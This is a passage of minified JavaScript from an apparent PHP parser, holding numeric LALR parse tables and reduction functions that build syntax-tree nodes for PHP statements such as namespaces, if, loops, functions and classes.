10,140,70,8,9,10,74,60,25,77,78,79,60,81,24,83,26,85,60,24,88,26,27,28,92,93,94,64,140,97,98,70,100,70,72,103,104,74,145,7,77,78,79,111,81,7,83,30,85,140,140,88,8,9,10,92,93,94,133,134,97,98,145,100,140,7,103,104,24,139,96,141,140,141,111,101,75,75,30,70,75,64,70,60,110,121,12,70,141,25,143,74,96,141,77,78,79,101,81,141,83,140,85,140,141,88,110,145,144,92,93,94,64,7,97,98,142,100,70,141,103,104,74,145,141,77,78,79,111,81,7,83,30,85,132,25,88,132,142,12,92,93,94,120,60,97,98,12,100,148,141,103,104,141,12,96,12,140,141,111,101,8,9,10,141,25,64,90,91,110,65,66,70,41,42,43,74,65,66,77,78,79,12,81,25,83,25,85,140,141,88,123,124,25,92,93,94,64,25,97,98,142,100,70,120,103,104,74,25,25,77,78,79,111,81,30,83,48,85,140,141,88,140,141,30,92,93,94,140,141,97,98,60,100,60,60,103,104,61,72,75,70,140,141,111,67,70,87,99,70,70,64,70,72,102,89,70,70,71,70,70,74,70,70,77,78,79,70,81,70,83,70,85,140,141,88,70,144,70,92,93,94,64,70,97,98,72,100,70,72,103,104,74,72,72,77,78,79,111,81,75,83,75,85,89,86,88,79,101,118,92,93,94,87,95,97,98,87,100,87,87,103,104,118,105,106,95,140,141,111,95,115,64,114,115,116,117,135,70,115,120,132,74,120,140,77,78,79,119,81,139,83,140,85,120,-1,88,120,140,141,92,93,94,64,121,97,98,121,100,70,122,103,104,74,135,135,77,78,79,111,81,139,83,139,85,135,135,88,135,135,135,92,93,94,142,95,97,98,140,100,140,140,103,104,140,105,106,140,140,141,111,140,140,64,114,115,116,117,140,70,140,140,140,74,140,140,77,78,79,140,81,140,83,140,85,41,42,88,140,140,141,92,93,94,140,140,97,98,140,100,140,140,103,104,60,140,142,141,141,141,111,141,68,69,141,141,72,141,141,141,76,12,13,14,15,16,17,18,19,20,21,22,23,141,143,142,95,96,142,140,141,143,101,95,96,142,105,106,142,101,142,142,142,105,106,114,115,116,117,50,51,142,114,115,116,117,142,123,142,125,126,127,128,129,130,131,142,136,142,144,143,137,138,142,136,95,96,143,143,145,142,101,143,143,143,105,106,143,143,143,143,143,143,143,114,115,116,117,35,36,37,38,39,40,41,42,43,95,143,143,143,95,143,143,143,143,136,105,106,120,143,105,106,144,95,143,114,115,116,117,114,115,116,117,105,106,143,143,143,143,95,143,-1,114,115,116,117,143,143,143,105,106,143,95,142,80,146,95,142,114,115,116,117,105,106,144,144,105,106,144,95,142,114,115,116,117,114,115,116,117,105,106,82,144,144,144,144,142,84,114,115,116,117,144,70,95,72,144,144,95,142,144,146,144,142,105,106,146,144,105,106,8,9,10,114,115,116,117,114,115,116,117,144,144,144,144,144,24,104,26,27,28,29,144,144,144,144,144,144,144,144,144,144,144,-1,144,144,144,-1,-1,-1,146,146,146,146,146,146,146,146,-1,136,147,-1,139,-1,-1,-1,143,-1,145],r.Parser.prototype.yybase=[0,574,581,623,655,2,718,402,747,659,672,688,743,701,705,483,483,483,483,483,351,356,366,366,367,366,344,-2,-2,-2,200,200,231,231,231,231,231,231,231,231,200,231,451,482,532,316,370,115,146,285,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,44,474,429,476,481,487,488,739,740,741,734,733,416,736,539,541,342,542,543,552,557,559,536,567,737,755,569,735,738,123,123,123,123,123,123,123,123,123,122,11,336,336,336,336,336,336,336,336,336,336,336,336,336,336,336,227,227,173,577,577,577,577,577,577,577,577,577,577,577,79,178,846,8,-3,-3,-3,-3,642,706,706,706,706,157,179,242,431,431,360,431,525,368,767,767,767,767,767,767,767,767,767,767,767,767,350,375,315,315,652,652,-81,-81,-81,-81,251,185,188,184,-62,348,195,195,195,408,392,410,1,192,129,129,129,-24,-24,-24,-24,499,-24,-24,-24,113,108,108,12,161,349,526,271,398,529,438,130,206,265,427,76,414,427,288,295,76,166,44,262,422,141,491,372,494,413,71,92,93,267,135,100,34,415,745,746,742,-38,420,-10,135,147,744,498,107,26,493,144,377,363,369,332,363,400,377,588,377,376,377,360,37,582,376,377,374,376,388,363,364,412,369,377,441,443,390,106,332,377,390,377,400,64,590,591,323,592,589,593,649,608,362,500,399,407,620,625,636,365,354,614,524,425,359,355,423,570,578,357,406,414,394,352,403,531,433,403,653,434,385,417,411,444,310,318,501,425,668,757,380,637,684,403,609,387,87,325,638,382,403,639,403,696,503,615,403,697,384,435,425,352,352,352,700,66,699,583,702,707,704,748,721,749,584,750,358,583,722,751,682,215,613,422,436,389,447,221,257,752,403,403,506,499,403,395,685,397,426,753,392,391,647,683,403,418,754,221,723,587,724,450,568,507,648,509,327,725,353,497,610,454,622,455,461,404,510,373,732,612,247,361,664,463,405,692,641,464,465,511,343,437,335,409,396,665,293,467,468,472,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,0,0,0,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,0,0,0,0,0,0,0,0,0,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,767,767,767,767,767,767,767,767,767,767,767,123,123,123,123,123,123,123,123,0,129,129,129,129,-94,-94,-94,767,767,767,767,767,767,0,0,0,0,0,0,0,0,0,0,0,0,-94,-94,129,129,767,767,-24,-24,-24,-24,-24,108,108,108,-24,108,145,145,145,108,108,108,100,100,0,0,0,0,0,0,0,145,0,0,0,376,0,0,0,145,260,260,221,260,260,135,0,0,425,376,0,364,376,0,0,0,0,0,0,531,0,87,637,241,425,0,0,0,0,0,0,0,425,289,289,306,0,358,0,0,0,306,241,0,0,221],r.Parser.prototype.yydefault=[3,32767,32767,1,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,104,96,110,95,106,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,358,358,122,122,122,122,122,122,122,122,316,32767,32767,32767,32767,32767,32767,32767,32767,32767,173,173,173,32767,348,348,348,348,348,348,348,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,363,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,232,233,235,236,172,125,349,362,171,199,201,250,200,177,182,183,184,185,186,187,188,189,190,191,192,176,229,228,197,313,313,316,32767,32767,32767,32767,32767,32767,32767,32767,198,202,204,203,219,220,217,218,175,221,222,223,224,157,157,157,357,357,32767,357,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,158,32767,211,212,276,276,117,117,117,117,117,32767,32767,32767,32767,284,32767,32767,32767,32767,32767,286,32767,32767,206,207,205,32767,32767,32767,32767,32767,32767,32767,32767,32767,285,32767,32767,32767,32767,32767,32767,32767,32767,334,321,272,32767,32767,32767,265,32767,107,109,32767,32767,32767,32767,302,339,32767,32767,32767,17,32767,32767,32767,370,334,32767,32767,19,32767,32767,32767,32767,227,32767,338,332,32767,32767,32767,32767,32767,32767,63,32767,32767,32767,32767,32767,63,281,63,32767,63,32767,315,287,32767,63,74,32767,72,32767,32767,76,32767,63,93,93,254,315,54,63,254,63,32767,32767,32767,32767,4,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,267,32767,323,32767,337,336,324,32767,265,32767,215,194,266,32767,196,32767,32767,270,273,32767,32767,32767,134,32767,268,180,32767,32767,32767,32767,365,32767,32767,174,32767,32767,32767,130,32767,61,332,32767,32767,355,32767,32767,332,269,208,209,210,32767,121,32767,310,32767,32767,32767,32767,32767,32767,327,32767,333,32767,32767,32767,32767,111,32767,302,32767,32767,32767,75,32767,32767,178,126,32767,32767,364,32767,32767,32767,320,32767,32767,32767,32767,32767,62,32767,32767,77,32767,32767,32767,32767,332,32767,32767,32767,115,32767,169,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,332,32767,32767,32767,32767,32767,32767,32767,4,32767,151,32767,32767,32767,32767,32767,32767,32767,25,25,3,137,3,137,25,101,25,25,137,93,93,25,25,25,144,25,25,25,25,25,25,25,25],r.Parser.prototype.yygoto=[141,141,173,173,173,173,173,173,173,173,141,173,142,143,144,148,153,155,181,175,172,172,172,172,174,174,174,174,174,174,174,168,169,170,171,179,757,758,392,760,781,782,783,784,785,786,787,789,725,145,146,147,149,150,151,152,154,177,178,180,196,208,209,210,211,212,213,214,215,217,218,219,220,244,245,266,267,268,430,431,432,182,183,184,185,186,187,188,189,190,191,192,156,157,158,159,176,160,194,161,162,163,164,195,165,193,139,166,167,452,452,452,452,452,452,452,452,452,452,452,453,453,453,453,453,453,453,453,453,453,453,551,551,551,464,491,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,407,552,552,552,810,810,662,662,662,662,662,594,283,595,510,399,399,567,679,632,849,850,863,660,714,426,222,622,622,622,622,223,617,623,494,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,465,472,514,904,398,398,425,425,459,425,419,322,421,421,393,396,412,422,428,460,463,473,481,501,5,476,284,327,1,15,2,6,7,550,550,550,8,9,10,668,16,11,17,12,18,13,19,14,704,328,881,881,643,628,626,626,624,626,526,401,652,647,847,847,847,847,847,847,847,847,847,847,847,437,438,441,447,477,479,497,290,910,910,400,400,486,880,880,263,913,910,303,255,723,306,822,821,306,896,896,896,861,304,323,410,913,913,897,316,420,769,658,559,879,671,536,324,466,565,311,311,311,801,241,676,496,439,440,442,444,448,475,631,858,311,285,286,603,495,712,0,406,321,0,0,0,314,0,0,429,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,411],r.Parser.prototype.yygcheck=[15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,35,35,35,35,35,35,35,35,35,35,35,86,86,86,86,86,86,86,86,86,86,86,6,6,6,21,21,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,71,7,7,7,35,35,35,35,35,35,35,29,44,29,35,86,86,12,12,12,12,12,12,12,12,75,40,35,35,35,35,40,35,35,35,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,36,36,36,104,82,82,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,13,42,42,42,2,13,2,13,13,5,5,5,13,13,13,54,13,13,13,13,13,13,13,13,67,67,83,83,5,5,5,5,5,5,5,5,5,5,93,93,93,93,93,93,93,93,93,93,93,52,52,52,52,52,52,52,4,105,105,89,89,94,84,84,92,105,105,26,92,71,4,91,91,4,84,84,84,97,30,70,30,105,105,102,27,30,72,50,10,84,55,46,9,30,11,90,90,90,80,30,56,30,85,85,85,85,85,85,43,96,90,44,44,34,77,69,-1,4,90,-1,-1,-1,4,-1,-1,4,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,71],r.Parser.prototype.yygbase=[0,0,-286,0,10,239,130,154,0,-10,25,-23,-29,-289,0,-30,0,0,0,0,0,83,0,0,0,0,245,84,-11,142,-28,0,0,0,-13,-88,-42,0,0,0,-344,0,-38,-12,-188,0,23,0,0,0,66,0,247,0,205,24,-18,0,0,0,0,0,0,0,0,0,0,13,0,-15,85,74,70,0,0,148,0,-14,0,0,-6,0,-35,11,47,278,-77,0,0,44,68,43,38,72,94,0,-16,109,0,0,0,0,87,0,170,34,0],r.Parser.prototype.yygdefault=[-32768,362,3,546,382,570,571,572,307,305,560,566,467,4,568,140,295,575,296,500,577,414,579,580,308,309,415,315,216,593,503,313,596,357,602,301,449,383,350,461,221,423,456,630,282,638,540,646,649,450,657,352,433,434,667,672,677,680,334,325,474,684,685,256,689,511,512,703,242,711,317,724,342,788,790,397,408,484,797,326,800,384,385,386,387,435,818,815,289,866,287,443,254,853,468,356,903,862,288,388,389,302,898,341,905,912,458],r.Parser.prototype.yylhs=[0,1,2,2,4,4,3,3,3,3,3,3,3,3,3,8,8,10,10,10,10,9,9,11,13,13,14,14,14,14,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,33,33,34,27,27,30,30,6,7,7,7,37,37,37,38,38,41,41,39,39,42,42,22,22,29,29,32,32,31,31,43,23,23,23,23,44,44,45,45,46,46,20,20,16,16,47,18,18,48,17,17,19,19,36,36,49,49,50,50,51,51,51,51,52,52,53,53,54,54,24,24,55,55,55,25,25,56,56,40,40,57,57,57,57,62,62,63,63,64,64,64,64,65,66,66,61,61,58,58,60,60,68,68,67,67,67,67,67,67,59,59,69,69,26,26,21,21,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,71,77,77,79,79,80,81,81,81,81,81,81,86,86,35,35,35,72,72,87,87,82,82,88,88,88,88,88,73,73,73,76,76,76,78,78,93,93,93,93,93,93,93,93,93,93,93,93,93,93,12,12,12,12,12,12,74,74,74,74,94,94,96,96,95,95,97,97,28,28,28,28,99,99,98,98,98,98,98,100,100,84,84,89,89,83,83,101,101,101,101,90,90,90,90,85,85,91,91,91,70,70,102,102,102,75,75,103,103,104,104,104,104,92,92,92,92,105,105,105,105,105,105,105,106,106,106],r.Parser.prototype.yylen=[1,1,2,0,1,3,1,1,1,1,3,5,4,3,3,3,1,1,3,2,4,3,1,3,2,0,1,1,1,1,3,7,10,5,7,9,5,2,3,2,3,2,3,3,3,3,1,2,5,7,8,10,5,1,5,3,3,2,1,2,8,1,3,0,1,9,7,6,5,1,2,2,0,2,0,2,0,2,1,3,1,4,1,4,1,4,1,3,3,3,4,4,5,0,2,4,3,1,1,1,4,0,2,5,0,2,6,0,2,0,3,1,0,1,3,3,5,0,1,1,1,1,0,1,3,1,2,3,1,1,2,4,3,1,1,3,2,0,3,3,8,3,1,3,0,2,4,5,4,4,3,1,1,1,3,1,1,0,1,1,2,1,1,1,1,1,1,1,3,1,3,3,1,0,1,1,6,3,4,4,1,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,5,4,4,4,2,2,4,2,2,2,2,2,2,2,2,2,2,2,1,4,3,3,2,9,10,3,0,4,1,3,2,4,6,8,4,4,4,1,1,1,2,3,1,1,1,1,1,1,0,3,3,4,4,0,2,3,0,1,1,0,3,1,1,1,1,1,1,1,1,1,1,1,3,2,1,1,3,2,2,4,3,1,3,3,3,0,2,0,1,3,1,3,1,1,1,1,1,6,4,3,6,4,4,4,1,3,1,2,1,1,4,1,3,6,4,4,4,4,1,4,0,1,1,3,1,3,1,1,4,0,0,2,3,1,3,1,4,2,2,2,1,2,1,4,3,3,3,6,3,1,1,1],r.Parser.prototype.yyn0=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn1=function(e){this.yyval=this.Stmt_Namespace_postprocess(this.yyastk[this.stackPos-0])},r.Parser.prototype.yyn2=function(e){Array.isArray(this.yyastk[this.stackPos-0])?this.yyval=this.yyastk[this.stackPos-1].concat(this.yyastk[this.stackPos-0]):(this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1])},r.Parser.prototype.yyn3=function(e){this.yyval=[]},r.Parser.prototype.yyn4=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn5=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn6=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn7=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn8=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn9=function(e){this.yyval=this.Node_Stmt_HaltCompiler(e)},r.Parser.prototype.yyn10=function(e){this.yyval=this.Node_Stmt_Namespace(this.Node_Name(this.yyastk[this.stackPos-1],e),null,e)},r.Parser.prototype.yyn11=function(e){this.yyval=this.Node_Stmt_Namespace(this.Node_Name(this.yyastk[this.stackPos-3],e),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn12=function(e){this.yyval=this.Node_Stmt_Namespace(null,this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn13=function(e){this.yyval=this.Node_Stmt_Use(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn14=function(e){this.yyval=this.Node_Stmt_Const(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn15=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn16=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn17=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-0],e),null,e)},r.Parser.prototype.yyn18=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-2],e),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn19=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-0],e),null,e)},r.Parser.prototype.yyn20=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-2],e),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn21=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn22=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn23=function(e){this.yyval=this.Node_Const(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn24=function(e){Array.isArray(this.yyastk[this.stackPos-0])?this.yyval=this.yyastk[this.stackPos-1].concat(this.yyastk[this.stackPos-0]):(this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1])},r.Parser.prototype.yyn25=function(e){this.yyval=[]},r.Parser.prototype.yyn26=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn27=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn28=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn29=function(e){throw new Error(\"__halt_compiler() can only be used from the outermost scope\")},r.Parser.prototype.yyn30=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn31=function(e){this.yyval=this.Node_Stmt_If(this.yyastk[this.stackPos-4],{stmts:Array.isArray(this.yyastk[this.stackPos-2])?this.yyastk[this.stackPos-2]:[this.yyastk[this.stackPos-2]],elseifs:this.yyastk[this.stackPos-1],Else:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn32=function(e){this.yyval=this.Node_Stmt_If(this.yyastk[this.stackPos-7],{stmts:this.yyastk[this.stackPos-4],elseifs:this.yyastk[this.stackPos-3],\"else\":this.yyastk[this.stackPos-2]},e)},r.Parser.prototype.yyn33=function(e){this.yyval=this.Node_Stmt_While(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn34=function(e){this.yyval=this.Node_Stmt_Do(this.yyastk[this.stackPos-2],Array.isArray(this.yyastk[this.stackPos-5])?this.yyastk[this.stackPos-5]:[this.yyastk[this.stackPos-5]],e)},r.Parser.prototype.yyn35=function(e){this.yyval=this.Node_Stmt_For({init:this.yyastk[this.stackPos-6],cond:this.yyastk[this.stackPos-4],loop:this.yyastk[this.stackPos-2],stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn36=function(e){this.yyval=this.Node_Stmt_Switch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn37=function(e){this.yyval=this.Node_Stmt_Break(null,e)},r.Parser.prototype.yyn38=function(e){this.yyval=this.Node_Stmt_Break(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn39=function(e){this.yyval=this.Node_Stmt_Continue(null,e)},r.Parser.prototype.yyn40=function(e){this.yyval=this.Node_Stmt_Continue(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn41=function(e){this.yyval=this.Node_Stmt_Return(null,e)},r.Parser.prototype.yyn42=function(e){this.yyval=this.Node_Stmt_Return(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn43=function(e){this.yyval=this.Node_Stmt_Global(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn44=function(e){this.yyval=this.Node_Stmt_Static(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn45=function(e){this.yyval=this.Node_Stmt_Echo(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn46=function(e){this.yyval=this.Node_Stmt_InlineHTML(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn47=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn48=function(e){this.yyval=this.Node_Stmt_Unset(this.yyastk[this.stackPos-2],e)},r.Parser.prototype.yyn49=function(e){this.yyval=this.Node_Stmt_Foreach(this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-2],{keyVar:null,byRef:!1,stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn50=function(e){this.yyval=this.Node_Stmt_Foreach(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-2],{keyVar:null,byRef:!0,stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn51=function(e){this.yyval=this.Node_Stmt_Foreach(this.yyastk[this.stackPos-7],this.yyastk[this.stackPos-2],{keyVar:this.yyastk[this.stackPos-5],byRef:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn52=function(e){this.yyval=this.Node_Stmt_Declare(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn53=function(e){this.yyval=[]},r.Parser.prototype.yyn54=function(e){this.yyval=this.Node_Stmt_TryCatch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn55=function(e){this.yyval=this.Node_Stmt_Throw(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn56=function(e){this.yyval=this.Node_Stmt_Goto(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn57=function(e){this.yyval=this.Node_Stmt_Label(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn58=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn59=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn60=function(e){this.yyval=this.Node_Stmt_Catch(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-4].substring(1),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn61=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn62=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn63=function(e){this.yyval=!1},r.Parser.prototype.yyn64=function(e){this.yyval=!0},r.Parser.prototype.yyn65=function(e){this.yyval=this.Node_Stmt_Function(this.yyastk[this.stackPos-6],{byRef:this.yyastk[this.stackPos-7],params:this.yyastk[this.stackPos-4],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn66=function(e){this.yyval=this.Node_Stmt_Class(this.yyastk[this.stackPos-5],{type:this.yyastk[this.stackPos-6],Extends:this.yyastk[this.stackPos-4],Implements:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn67=function(e){this.yyval=this.Node_Stmt_Interface(this.yyastk[this.stackPos-4],{Extends:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn68=function(e){this.yyval=this.Node_Stmt_Trait(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn69=function(e){this.yyval=0},r.Parser.prototype.yyn70=function(e){this.yyval=this.MODIFIER_ABSTRACT},r.Parser.prototype.yyn71=function(e){this.yyval=this.MODIFIER_FINAL},r.Parser.prototype.yyn72=function(e){this.yyval=null},r.Parser.prototype.yyn73=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn74=function(e){this.yyval=[]},r.Parser.prototype.yyn75=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn76=function(e){this.yyval=[]},r.Parser.prototype.yyn77=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn78=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn79=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn80=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn81=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn82=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn83=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn84=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn85=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn86=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn87=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn88=function(e){this.yyval=this.Node_Stmt_DeclareDeclare(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn89=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn90=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn91=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn92=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn93=function(e){this.yyval=[]},r.Parser.prototype.yyn94=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn95=function(e){this.yyval=this.Node_Stmt_Case(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn96=function(e){this.yyval=this.Node_Stmt_Case(null,this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn97=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn98=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn99=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn100=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.P